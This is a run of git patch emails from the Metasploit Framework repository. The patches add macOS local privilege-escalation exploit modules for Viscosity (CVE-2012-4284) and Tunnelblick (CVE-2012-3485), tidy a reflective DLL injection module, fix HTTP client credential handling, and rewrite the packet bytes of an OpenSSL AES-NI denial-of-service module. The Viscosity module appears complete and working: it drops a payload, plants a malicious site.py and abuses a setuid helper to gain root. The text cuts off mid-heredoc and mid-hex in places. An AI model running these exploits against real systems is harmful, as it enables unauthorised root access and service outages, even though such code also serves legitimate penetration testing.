13:23:21 +0100 Subject: [PATCH 267/341] added module for cve-2012-4284 --- .../exploits/osx/local/setuid_viscosity.rb | 122 ++++++++++++++++++ 1 file changed, 122 insertions(+) create mode 100644 modules/exploits/osx/local/setuid_viscosity.rb diff --git a/modules/exploits/osx/local/setuid_viscosity.rb b/modules/exploits/osx/local/setuid_viscosity.rb new file mode 100644 index 0000000000..c068b4c3a1 --- /dev/null +++ b/modules/exploits/osx/local/setuid_viscosity.rb @@ -0,0 +1,122 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/post/linux/priv' +require 'msf/core/exploit/exe' + + +class Metasploit4 < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Exploit::EXE + include Msf::Post::File + include Msf::Post::Common + + def initialize(info={}) + super( update_info( info, { + 'Name' => 'Setuid Viscosity Exploit', + 'Description' => %q{ + This module exploits a vulnerability in Viscosity 1.4.1 on Mac OS X. The + vulnerability exists in the setuid ViscosityHelper, where an insufficient + validation of path names allows execution of arbitrary python code as root. + This module has been tested successfully on Viscosity 1.4.1 over Mac OS X + 10.7.5. + }, + 'References' => + [ + [ 'CVE', '2012-4284' ], + [ 'OSVDB', '84709' ], + [ 'EDB', '20485' ], + [ 'URL', 'http://blog.zx2c4.com/791' ] + ], + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Jason A. Donenfeld', # Vulnerability discovery and original Exploit + 'juan vazquez' # Metasploit module + ], + 'DisclosureDate' => 'Aug 12 2012', + 'Platform' => 'osx', + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell' ], + 'Targets' => + [ + [ 'Viscosity 1.4.1 / Mac OS X x86', { 'Arch' => ARCH_X86 } ], + [ 'Viscosity 1.4.1 / Mac OS X x64', { 'Arch' => ARCH_X64 } ] + ], + 'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 }, + 'DefaultTarget' => 0 + })) + register_options([ + # These are not OptPath becuase it's a *remote* path + OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]), + OptString.new("Viscosity", [ true, "Path to setuid nmap executable", "/Applications/Viscosity.app/Contents/Resources/ViscosityHelper" ]) + ], self.class) + end + + def check + if not file?(datastore["Viscosity"]) + print_error "ViscosityHelper not found" + return CheckCode::Safe + end + + check = session.shell_command_token("find #{datastore["Viscosity"]} -type f -user root -perm -4000") + + if check =~ /ViscosityHelper/ + return CheckCode::Vulnerable + end + + return CheckCode::Safe + end + + def clean + file_rm(@link) + file_rm(@python_file) + file_rm("#{@python_file}c") + file_rm(@exe_file) + end + + def exploit + + exe_name = rand_text_alpha(8) + @exe_file = "#{datastore["WritableDir"]}/#{exe_name}" + print_status("Dropping executable #{@exe_file}") + write_file(@exe_file, generate_payload_exe) + + evil_python = %Q{ +import os +os.setuid(0) +os.setgid(0) +os.system("chown root #{@exe_file}") +os.system("chmod 6777 #{@exe_file}") +os.execl("#{@exe_file}", "#{exe_name}") + } + @python_file = "#{datastore["WritableDir"]}/site.py" + print_status("Dropping python #{@python_file}...") + write_file(@python_file, evil_python) + + print_status("Creating symlink...") + link_name = rand_text_alpha(8) + @link = "#{datastore["WritableDir"]}/#{link_name}" + cmd_exec "ln -s -f -v #{datastore["Viscosity"]} #{@link}" + + print_status("Running...") + begin + cmd_exec "#{@link}" + rescue + print_error("Failed. Cleaning files #{@link}, #{@python_file}, #{@python_file}c and #{@exe_file}...") + clean + return + end + print_warning("Remember to clean files: #{@link}, #{@python_file}, #{@python_file}c and #{@exe_file}") + end +end + From 81e2dbc71e5d69128e108c73cf0de2e2a70c281b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sun, 3 Mar 2013 19:48:12 +0100 Subject: [PATCH 268/341] added module for CVE-2012-3485 --- .../exploits/osx/local/setuid_tunnelblick.rb | 121 ++++++++++++++++++ 1 file changed, 121 insertions(+) create mode 100644 modules/exploits/osx/local/setuid_tunnelblick.rb diff --git a/modules/exploits/osx/local/setuid_tunnelblick.rb b/modules/exploits/osx/local/setuid_tunnelblick.rb new file mode 100644 index 0000000000..66db2db4d9 --- /dev/null +++ b/modules/exploits/osx/local/setuid_tunnelblick.rb @@ -0,0 +1,121 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/exploit/exe' + +class Metasploit4 < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Exploit::EXE + include Msf::Post::File + include Msf::Post::Common + + def initialize(info={}) + super( update_info( info, { + 'Name' => 'Setuid Tunnelblick Exploit', + 'Description' => %q{ + This module exploits a vulnerability in Tunnelblick 3.2.8 on Mac OS X. The + vulnerability exists in the setuid openvpnstart, where an insufficient + validation of path names allows execution of arbitrary shell scripts as root. + This module has been tested successfully on Tunnelblick 3.2.8 build 2891.3099 + over Mac OS X 10.7.5. + }, + 'References' => + [ + [ 'CVE', '2012-3485' ], + [ 'EDB', '20443' ], + [ 'URL', 'http://blog.zx2c4.com/791' ] + ], + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Jason A. Donenfeld', # Vulnerability discovery and original Exploit + 'juan vazquez' # Metasploit module + ], + 'DisclosureDate' => 'Aug 11 2012', + 'Platform' => 'osx', + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell' ], + 'Targets' => + [ + [ 'Tunnelblick 3.2.8 / Mac OS X x86', { 'Arch' => ARCH_X86 } ], + [ 'Tunnelblick 3.2.8 / Mac OS X x64', { 'Arch' => ARCH_X64 } ] + ], + 'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 }, + 'DefaultTarget' => 0 + })) + register_options([ + # These are not OptPath becuase it's a *remote* path + OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]), + OptString.new("Tunnelblick", [ true, "Path to setuid openvpnstart executable", "/Applications/Tunnelblick.app/Contents/Resources/openvpnstart" ]) + ], self.class) + end + + def check + if not file?(datastore["Tunnelblick"]) + print_error "openvpnstart not found" + return CheckCode::Safe + end + + check = session.shell_command_token("find #{datastore["Tunnelblick"]} -type f -user root -perm -4000") + + if check =~ /openvpnstart/ + return CheckCode::Vulnerable + end + + return CheckCode::Safe + end + + def clean + file_rm(@link) + cmd_exec("rm -rf #{datastore["WritableDir"]}/openvpn") + end + + def exploit + + print_status("Creating directory...") + cmd_exec "mkdir -p #{datastore["WritableDir"]}/openvpn/openvpn-0" + + exe_name = rand_text_alpha(8) + @exe_file = "#{datastore["WritableDir"]}/openvpn/openvpn-0/#{exe_name}" + print_status("Dropping executable #{@exe_file}") + write_file(@exe_file, generate_payload_exe) + cmd_exec "chmod +x #{@exe_file}" + + + evil_sh =< Date: Sun, 3 Mar 2013 19:52:31 +0100 Subject: [PATCH 269/341] fixed EOF --- modules/exploits/osx/local/setuid_tunnelblick.rb | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/modules/exploits/osx/local/setuid_tunnelblick.rb b/modules/exploits/osx/local/setuid_tunnelblick.rb index 66db2db4d9..e12441c14b 100644 --- a/modules/exploits/osx/local/setuid_tunnelblick.rb +++ b/modules/exploits/osx/local/setuid_tunnelblick.rb @@ -91,11 +91,10 @@ class Metasploit4 < Msf::Exploit::Local cmd_exec "chmod +x #{@exe_file}" - evil_sh =< Date: Sun, 3 Mar 2013 19:54:17 +0100 Subject: [PATCH 270/341] minor fixes --- modules/exploits/osx/local/setuid_viscosity.rb | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/modules/exploits/osx/local/setuid_viscosity.rb b/modules/exploits/osx/local/setuid_viscosity.rb index c068b4c3a1..4c674f2f07 100644 --- a/modules/exploits/osx/local/setuid_viscosity.rb +++ b/modules/exploits/osx/local/setuid_viscosity.rb @@ -9,10 +9,8 @@ require 'msf/core' require 'rex' require 'msf/core/post/common' require 'msf/core/post/file' -require 'msf/core/post/linux/priv' require 'msf/core/exploit/exe' - class Metasploit4 < Msf::Exploit::Local Rank = ExcellentRanking @@ -58,7 +56,7 @@ class Metasploit4 < Msf::Exploit::Local register_options([ # These are not OptPath becuase it's a *remote* path OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]), - OptString.new("Viscosity", [ true, "Path to setuid nmap executable", "/Applications/Viscosity.app/Contents/Resources/ViscosityHelper" ]) + OptString.new("Viscosity", [ true, "Path to setuid ViscosityHelper executable", "/Applications/Viscosity.app/Contents/Resources/ViscosityHelper" ]) ], self.class) end @@ -91,14 +89,15 @@ class Metasploit4 < Msf::Exploit::Local print_status("Dropping executable #{@exe_file}") write_file(@exe_file, generate_payload_exe) - evil_python = %Q{ + evil_python =<<-EOF import os os.setuid(0) os.setgid(0) os.system("chown root #{@exe_file}") os.system("chmod 6777 #{@exe_file}") os.execl("#{@exe_file}", "#{exe_name}") - } + EOF + @python_file = "#{datastore["WritableDir"]}/site.py" print_status("Dropping python #{@python_file}...") write_file(@python_file, evil_python) From 6d811ce4b92dc45620c1bdcceca79eee0162c2e4 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Mon, 4 Mar 2013 09:09:11 -0600 Subject: [PATCH 271/341] empty passwords should be allowed --- lib/rex/proto/http/client.rb | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 4a8d8108f3..3461a0067e 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -262,15 +262,9 @@ class Client if opts['username'].nil? or opts['username'] == '' if self.username and not (self.username == '') opts['username'] = self.username - else - opts['username'] = nil - end - end - - if opts['password'].nil? or opts['password'] == '' - if self.password and not (self.password == '') opts['password'] = self.password else + opts['username'] = nil opts['password'] = nil end end From 92ee4300dfe8616ff711a18796be8817c48f96a4 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 4 Mar 2013 17:40:09 +0100 Subject: [PATCH 272/341] cleanup for reflective_dll_inject --- .../windows/manage/reflective_dll_inject.rb | 29 ++++++++++--------- 1 file changed, 16 insertions(+), 13 deletions(-) diff --git a/modules/post/windows/manage/reflective_dll_inject.rb b/modules/post/windows/manage/reflective_dll_inject.rb index ac7d447afe..7f9a39ab2e 100644 --- a/modules/post/windows/manage/reflective_dll_inject.rb +++ b/modules/post/windows/manage/reflective_dll_inject.rb @@ -12,15 +12,18 @@ class Metasploit3 < Msf::Post def initialize(info={}) super( update_info( info, - 'Name' => 'Windows Manage Reflective DLL Injection Module', - 'Description' => %q{ + 'Name' => 'Windows Manage Reflective DLL Injection Module', + 'Description' => %q{ This module will inject into the memory of a process a specified Reflective DLL. }, - 'License' => MSF_LICENSE, - 'Author' => [ 'Ben Campbell '], - 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ], - 'References' => [ [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ] ] + 'License' => MSF_LICENSE, + 'Author' => [ 'Ben Campbell '], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'References' => + [ + [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ] + ] )) register_options( @@ -49,7 +52,7 @@ class Metasploit3 < Msf::Post end end - raise "Can't find an exported ReflectiveLoader function!" if offset == 0 + raise "Can't find an exported ReflectiveLoader function!" if offset.nil? or offset == 0 rescue print_error( "Failed to read and parse Dll file: #{$!}" ) return @@ -60,7 +63,7 @@ class Metasploit3 < Msf::Post def inject_into_pid(pay, pid, offset) - if offset.nil? + if offset.nil? or offset == 0 print_error("Reflective Loader offset is nil.") return end @@ -79,19 +82,19 @@ class Metasploit3 < Msf::Post begin print_status("Opening process #{pid}") host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS) - print_status("Generating payload") print_status("Allocating memory in procees #{pid}") mem = host_process.memory.allocate(pay.length + (pay.length % 1024)) # Ensure memory is set for execution host_process.memory.protect(mem) - print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{pay.length} bytes") - print_status("Writing the stager into memory...") + vprint_status("Allocated memory at address #{"0x%.8x" % mem}, for #{pay.length} bytes") + print_status("Writing the payload into memory") host_process.memory.write(mem, pay) + print_status("Executing payload") host_process.thread.create(mem+offset, 0) print_good("Successfully injected payload in to process: #{pid}") rescue ::Exception => e print_error("Failed to Inject Payload to #{pid}!") - print_error(e.to_s) + vprint_error(e.to_s) end end end From 12247d47ba78d91552d48e523dec714fa805b139 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 4 Mar 2013 10:46:05 -0600 Subject: [PATCH 273/341] Rename module, sorry, no pull request. --- modules/exploits/osx/local/setuid_viscosity.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/osx/local/setuid_viscosity.rb b/modules/exploits/osx/local/setuid_viscosity.rb index 4c674f2f07..c70127857e 100644 --- a/modules/exploits/osx/local/setuid_viscosity.rb +++ b/modules/exploits/osx/local/setuid_viscosity.rb @@ -20,7 +20,7 @@ class Metasploit4 < Msf::Exploit::Local def initialize(info={}) super( update_info( info, { - 'Name' => 'Setuid Viscosity Exploit', + 'Name' => 'Viscosity setuid-set ViscosityHelper Privilege Escalation', 'Description' => %q{ This module exploits a vulnerability in Viscosity 1.4.1 on Mac OS X. The vulnerability exists in the setuid ViscosityHelper, where an insufficient From 7fa24d9060bd83487d19089555a14aff127e7cca Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 4 Mar 2013 10:54:33 -0600 Subject: [PATCH 274/341] Module rename --- modules/exploits/osx/local/setuid_tunnelblick.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/osx/local/setuid_tunnelblick.rb b/modules/exploits/osx/local/setuid_tunnelblick.rb index e12441c14b..691e167901 100644 --- a/modules/exploits/osx/local/setuid_tunnelblick.rb +++ b/modules/exploits/osx/local/setuid_tunnelblick.rb @@ -20,7 +20,7 @@ class Metasploit4 < Msf::Exploit::Local def initialize(info={}) super( update_info( info, { - 'Name' => 'Setuid Tunnelblick Exploit', + 'Name' => 'Setuid Tunnelblick Privilege Escalation', 'Description' => %q{ This module exploits a vulnerability in Tunnelblick 3.2.8 on Mac OS X. The vulnerability exists in the setuid openvpnstart, where an insufficient From 6dcca7df78c6c1e2f589ed33cedbda652f14710e Mon Sep 17 00:00:00 2001 From: David Maloney Date: Mon, 4 Mar 2013 11:24:26 -0600 Subject: [PATCH 275/341] Remove duplicated header issues Headers were getting duped back into client config, causing invalid requests to be sent out --- lib/msf/core/exploit/http/client.rb | 15 +++++---------- lib/rex/proto/http/client.rb | 1 + lib/rex/proto/http/client_request.rb | 7 ++++--- modules/auxiliary/scanner/http/http_login.rb | 7 ++++++- 4 files changed, 16 insertions(+), 14 deletions(-) diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index 6769a44b9a..a156bc4e3a 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -145,6 +145,9 @@ module Exploit::Remote::HttpClient dossl = ssl end + client_username = opts['username'] || datastore['USERNAME'] || '' + client_password = opts['password'] || datastore['PASSWORD'] || '' + nclient = Rex::Proto::Http::Client.new( rhost, rport.to_i, @@ -155,8 +158,8 @@ module Exploit::Remote::HttpClient dossl, ssl_version, proxies, - datastore['USERNAME'], - datastore['PASSWORD'] + client_username, + client_password ) # Configure the HTTP client with the supplied parameter @@ -258,10 +261,6 @@ module Exploit::Remote::HttpClient def send_request_raw(opts={}, timeout = 20) begin c = connect(opts) - if opts['username'] and opts['username'] != '' - c.username = opts['username'].to_s - c.password = opts['password'].to_s - end r = c.request_raw(opts) c.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout) rescue ::Errno::EPIPE, ::Timeout::Error @@ -277,10 +276,6 @@ module Exploit::Remote::HttpClient def send_request_cgi(opts={}, timeout = 20) begin c = connect(opts) - if opts['username'] and opts['username'] != '' - c.username = opts['username'].to_s - c.password = opts['password'].to_s - end r = c.request_cgi(opts) c.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout) rescue ::Errno::EPIPE, ::Timeout::Error diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 3461a0067e..f360701556 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -158,6 +158,7 @@ class Client opts['port'] = self.port req = ClientRequest.new(opts) + req end # diff --git a/lib/rex/proto/http/client_request.rb b/lib/rex/proto/http/client_request.rb index e0cdb4946f..76a4294af1 100644 --- a/lib/rex/proto/http/client_request.rb +++ b/lib/rex/proto/http/client_request.rb @@ -21,7 +21,7 @@ class ClientRequest 'cgi' => true, 'cookie' => nil, 'data' => '', - 'headers' => {}, + 'headers' => nil, 'raw_headers' => '', 'method' => 'GET', 'path_info' => '', @@ -87,6 +87,7 @@ class ClientRequest def initialize(opts={}) @opts = DefaultConfig.merge(opts) + @opts['headers'] ||= {} end def to_s @@ -165,13 +166,13 @@ class ClientRequest # If an explicit User-Agent header is set, then use that instead of # the default - unless opts['headers'].keys.map{|x| x.downcase }.include?('user-agent') + unless opts['headers'] and opts['headers'].keys.map{|x| x.downcase }.include?('user-agent') req << set_agent_header end # Similar to user-agent, only add an automatic auth header if a # manual one hasn't been provided - unless opts['headers'].keys.map{|x| x.downcase }.include?('authorization') + unless opts['headers'] and opts['headers'].keys.map{|x| x.downcase }.include?('authorization') req << set_auth_header end diff --git a/modules/auxiliary/scanner/http/http_login.rb b/modules/auxiliary/scanner/http/http_login.rb index 40446f68db..0452e583e6 100644 --- a/modules/auxiliary/scanner/http/http_login.rb +++ b/modules/auxiliary/scanner/http/http_login.rb @@ -66,6 +66,8 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'uri' => path, 'method' => datastore['REQUESTTYPE'], + 'username' => '', + 'password' => '' }, 10) next if not res @@ -75,6 +77,8 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'uri' => path, 'method' => datastore['REQUESTTYPE'], + 'username' => '', + 'password' => '' }, 10) next if not res end @@ -94,7 +98,8 @@ class Metasploit3 < Msf::Auxiliary end def run_host(ip) - + load "lib/rex/proto/http/client_request.rb" + if ( datastore['REQUESTTYPE'] == "PUT" ) and (datastore['AUTH_URI'] == "") print_error("You need need to set AUTH_URI when using PUT Method !") return From 71ba044d03299fc939b2ccf861cb900d830986ed Mon Sep 17 00:00:00 2001 From: David Maloney Date: Mon, 4 Mar 2013 11:25:34 -0600 Subject: [PATCH 276/341] remove debugging aid --- modules/auxiliary/scanner/http/http_login.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/http_login.rb b/modules/auxiliary/scanner/http/http_login.rb index 0452e583e6..13a8f2a733 100644 --- a/modules/auxiliary/scanner/http/http_login.rb +++ b/modules/auxiliary/scanner/http/http_login.rb @@ -98,8 +98,6 @@ class Metasploit3 < Msf::Auxiliary end def run_host(ip) - load "lib/rex/proto/http/client_request.rb" - if ( datastore['REQUESTTYPE'] == "PUT" ) and (datastore['AUTH_URI'] == "") print_error("You need need to set AUTH_URI when using PUT Method !") return From cb18b81503b4f23b465020ed63b1676599d09c1c Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 4 Mar 2013 11:59:30 -0600 Subject: [PATCH 277/341] Add spec to ensure auth is sane --- spec/lib/rex/proto/http/client_spec.rb | 49 ++++++++++++++++++++++++++ 1 file changed, 49 insertions(+) diff --git a/spec/lib/rex/proto/http/client_spec.rb b/spec/lib/rex/proto/http/client_spec.rb index 3ddd07d6bd..77ca6c4758 100644 --- a/spec/lib/rex/proto/http/client_spec.rb +++ b/spec/lib/rex/proto/http/client_spec.rb @@ -87,6 +87,55 @@ describe Rex::Proto::Http::Client do end end + context "with credentials" do + subject(:cli) do + cli = Rex::Proto::Http::Client.new(ip) + cli + end + let(:first_response) { + "HTTP/1.1 401 Unauthorized\r\nContent-Length: 0\r\nWWW-Authenticate: Basic realm=\"foo\"\r\n\r\n" + } + let(:authed_response) { + "HTTP/1.1 200 Ok\r\nContent-Length: 0\r\n\r\n" + } + let(:user) { "user" } + let(:pass) { "pass" } + + it "should not send creds on the first request in order to induce a 401" do + req = cli.request_cgi + req.to_s.should_not match("Authorization:") + end + + it "should send creds after receiving a 401" do + conn = mock + conn.stub(:put) + conn.stub(:shutdown) + conn.stub(:close) + + conn.should_receive(:get_once).and_return(first_response, authed_response) + conn.should_receive(:put) do |str_request| + str_request.should_not include("Authorization") + nil + end + conn.should_receive(:put) do |str_request| + str_request.should include("Authorization") + nil + end + + cli.should_receive(:_send_recv).twice.and_call_original + + Rex::Socket::Tcp.stub(:create).and_return(conn) + + opts = { "username" => user, "password" => pass} + req = cli.request_cgi(opts) + cli.send_recv(req) + + # Make sure it didn't modify the argument + opts.should == { "username" => user, "password" => pass} + end + + end + it "should attempt to connect to a server" do this_cli = Rex::Proto::Http::Client.new("127.0.0.1", 1) expect { this_cli.connect(1) }.to raise_error ::Rex::ConnectionRefused From 867875b4454d3df903eb6d55405f273827f249eb Mon Sep 17 00:00:00 2001 From: Wolfgang Ettlinger Date: Mon, 4 Mar 2013 19:09:50 +0100 Subject: [PATCH 278/341] Beautified OpenSSL-AESNI module Modifed the CVE-2012-2686 module to follow suggestions by @jvazquez-r7: * Added description for all fields in the SSL packets * MAX_TRIES now required * use get_once instead of timeout --- modules/auxiliary/dos/ssl/openssl_aesni.rb | 166 ++++++++++++--------- 1 file changed, 98 insertions(+), 68 deletions(-) diff --git a/modules/auxiliary/dos/ssl/openssl_aesni.rb b/modules/auxiliary/dos/ssl/openssl_aesni.rb index d05134f4de..94ba11e470 100644 --- a/modules/auxiliary/dos/ssl/openssl_aesni.rb +++ b/modules/auxiliary/dos/ssl/openssl_aesni.rb @@ -17,8 +17,8 @@ class Metasploit4 < Msf::Auxiliary 'Author' => [ 'Wolfgang Ettlinger ' ], - 'License' => BSD_LICENSE, - 'References' => + 'License' => BSD_LICENSE, + 'References' => [ [ 'CVE', '2012-2686'], [ 'URL', 'https://www.openssl.org/news/secadv_20130205.txt'] @@ -28,74 +28,105 @@ class Metasploit4 < Msf::Auxiliary register_options( [ Opt::RPORT(443), - OptInt.new('MAX_TRIES', [false, "Maximum number of tries", 300]) + OptInt.new('MAX_TRIES', [true, "Maximum number of tries", 300]) ], self.class) end def run # Client Hello - p1 = - "\x16\x03\x01\x00\x7e\x01\x00\x00\x7a\x03\x02\x50\xeb\xf2\x4a\xaf"<< - "\x74\xf5\xe3\x55\x6a\xae\xcf\x88\x36\x7c\xd9\xe5\x1b\xcc\x09\xee"<< - "\x6f\x42\x30\x3b\x49\x55\xf8\xaa\x11\x32\xeb\x00\x00\x08\xc0\x13"<< - "\x00\x39\x00\x35\x00\xff\x01\x00\x00\x49\x00\x0b\x00\x04\x03\x00"<< - "\x01\x02\x00\x0a\x00\x34\x00\x32\x00\x0e\x00\x0d\x00\x19\x00\x0b"<< - "\x00\x0c\x00\x18\x00\x09\x00\x0a\x00\x16\x00\x17\x00\x08\x00\x06"<< - "\x00\x07\x00\x14\x00\x15\x00\x04\x00\x05\x00\x12\x00\x13\x00\x01"<< - "\x00\x02\x00\x03\x00\x0f\x00\x10\x00\x11\x00\x23\x00\x00\x00\x0f"<< - "\x00\x01\x01" + p1 = "\x16" # Content Type: Handshake + p1 << "\x03\x01" # Version: TLS 1.0 + p1 << "\x00\x7e" # Length: 126 + p1 << "\x01" # Handshake Type: Client Hello + p1 << "\x00\x00\x7a" # Length: 122 + p1 << "\x03\x02" # Version: TLS 1.1 + p1 << ("A" * 32) # Random + p1 << "\x00" # Session ID Length: 0 + p1 << "\x00\x08" # Cypher Suites Length: 6 + p1 << "\xc0\x13" # - ECDHE-RSA-AES128-SHA + p1 << "\x00\x39" # - DHE-RSA-AES256-SHA + p1 << "\x00\x35" # - AES256-SHA + p1 << "\x00\xff" # - EMPTY_RENEGOTIATION_INFO_SCSV + p1 << "\x01" # Compression Methods Length: 1 + p1 << "\x00" # - NULL-Compression + p1 << "\x00\x49" # Extensions Length: 73 + p1 << "\x00\x0b" # - Extension: ec_point_formats + p1 << "\x00\x04" # Length: 4 + p1 << "\x03" # EC Points Format Length: 3 + p1 << "\x00" # - uncompressed + p1 << "\x01" # - ansiX962_compressed_prime + p1 << "\x02" # - ansiX962_compressed_char2 + p1 << "\x00\x0a" # - Extension: elliptic_curves + p1 << "\x00\x34" # Length: 52 + p1 << "\x00\x32" # Elliptic Curves Length: 50 + # 25 Elliptic curves: + p1 << "\x00\x0e\x00\x0d\x00\x19\x00\x0b\x00\x0c\x00\x18\x00\x09\x00\x0a" + p1 << "\x00\x16\x00\x17\x00\x08\x00\x06\x00\x07\x00\x14\x00\x15\x00\x04" + p1 << "\x00\x05\x00\x12\x00\x13\x00\x01\x00\x02\x00\x03\x00\x0f\x00\x10" + p1 << "\x00\x11" + + p1 << "\x00\x23" # - Extension: SessionTicket TLS + p1 << "\x00\x00" # Length: 0 + p1 << "\x00\x0f" # - Extension: Heartbeat + p1 << "\x00\x01" # Length: 1 + p1 << "\x01" # Peer allowed to send requests + + + # Change Cipher Spec Message + p2_cssm = "\x14" # Content Type: Change Cipher Spec + p2_cssm << "\x03\x02" # Version: TLS 1.1 + p2_cssm << "\x00\x01" # Length: 1 + p2_cssm << "\x01" # Change Cipher Spec Message + + + # Encrypted Handshake Message + p2_ehm = "\x16" # Content Type: Handshake + p2_ehm << "\x03\x02" # Version: TLS 1.1 + p2_ehm << "\x00\x40" # Length: 64 + p2_ehm << ("A" * 64) # Encrypted Message + # Client Key Exchange, Change Cipher Spec, Encrypted Handshake # AES256-SHA - p2_aes_sha = - "\x16\x03\x02\x01\x06\x10\x00\x01\x02\x01\x00\x4c\xee\x18\xe2\xec"<< - "\xa9\x9d\xd7\x10\xd0\xff\x6f\xa8\x10\xf5\x9c\xa0\x91\x38\x93\x93"<< - "\xaa\x71\x07\x69\xb6\x22\x81\x2d\xcd\xe0\x8f\x95\xf2\x9b\xaa\x49"<< - "\x18\x15\x53\xc3\x34\x15\x81\xab\x20\x72\x16\x5b\xf2\xca\x13\x9e"<< - "\x11\x6e\x3c\xf5\x71\x7c\x19\xf4\x7d\x35\x71\x25\x6e\xbe\xee\xdf"<< - "\x1d\x55\xc9\x38\xac\xbb\x88\xab\xd0\x18\x7d\x5f\xaa\x3c\x91\x2f"<< - "\xd2\x64\x7c\x15\x91\xa6\xe7\xb7\x0c\x01\xb3\xc7\x37\xc1\x3a\xb2"<< - "\xde\x59\x6e\x8f\x7a\xde\x22\x59\x6c\xb7\x91\x21\x8f\xff\x56\x2c"<< - "\x5f\xfb\x54\x7f\xd1\x1a\x00\x0e\x02\xb2\x4e\x62\xfd\xe2\xc0\x8f"<< - "\x56\x52\x8a\x4c\x44\x01\x5f\x21\xf9\xd5\xb3\xeb\xab\x39\xcf\x4e"<< - "\xed\x78\xad\xea\xc7\x43\x80\x3f\xf2\x41\xbe\x5c\x83\xa5\x54\x6f"<< - "\x3c\xfb\x15\xed\x3c\x83\xf0\x3b\xd2\x7c\x5d\xf6\x82\xcb\x82\xb6"<< - "\x6a\x8e\x94\xf9\x22\x5a\x17\x20\x82\x21\x4e\x83\x01\x81\x06\x9e"<< - "\x21\xba\x16\xa4\xda\xcd\x8e\x1c\x8c\xe7\x19\x96\x2a\xec\x90\x6a"<< - "\x16\xac\x12\x68\xbd\xf7\x4b\x6c\x3c\x91\x8b\xe7\x34\x03\x91\x65"<< - "\x61\x57\xbc\x3a\x66\x3b\x7b\xb1\x57\xcd\x19\x5c\x4a\x69\x43\xb2"<< - "\x67\xaf\x38\x5c\x1a\x7e\x80\x78\x90\x25\xb8\x14\x03\x02\x00\x01"<< - "\x01\x16\x03\x02\x00\x40\x7d\xf4\x2c\x8c\x64\x74\xa5\x98\x02\x41"<< - "\xac\x97\xfd\x53\x15\x4c\xbf\x16\x08\x26\xe0\x6c\x22\x70\x5f\x36"<< - "\x75\x75\x96\xf9\x6b\x9f\xb4\xc3\x38\xa7\x14\xac\x21\x89\xec\xd6"<< - "\x37\x28\xf3\x0d\xdf\xb3\x1b\xac\x96\xf3\x16\x5c\xc3\x6b\x71\x1c"<< - "\xdb\x0d\x04\x96\x21\xd2" + p2_aes_sha = "\x16" # Content Type: Handshake + p2_aes_sha << "\x03\x02" # Version: TLS 1.1 + p2_aes_sha << "\x01\x06" # Length: 262 + p2_aes_sha << "\x10" # Handshake Type: Client Key Exchange + p2_aes_sha << "\x00\x01\x02" # Length: 258 + p2_aes_sha << "\x01\x00" # Encrypted PreMaster Length: 256 + p2_aes_sha << ("\x00" * 256) # Encrypted PresMaster (irrelevant) + p2_aes_sha << p2_cssm # Change Cipher Spec Message + p2_aes_sha << p2_ehm # Encrypted Handshake Message + # DHE-RSA-AES256-SHA - p2_dhe_rsa_aes256_sha = - "\x16\x03\x02\x00\x46\x10\x00\x00\x42\x00\x40\x43\xaf\x48\x16\x8d"<< - "\x17\xb9\xb0\xb6\xbc\x68\xab\x99\xf9\x30\xc9\xb1\xa2\x3b\x4f\x79"<< - "\xaa\x76\x5c\x0d\x61\xa0\x19\x55\x11\x20\xe8\xbb\xab\x69\xf3\xeb"<< - "\xff\x81\x1d\x16\x0d\x03\xaf\xb9\x70\xae\x72\x5c\xd8\xc7\x28\x2c"<< - 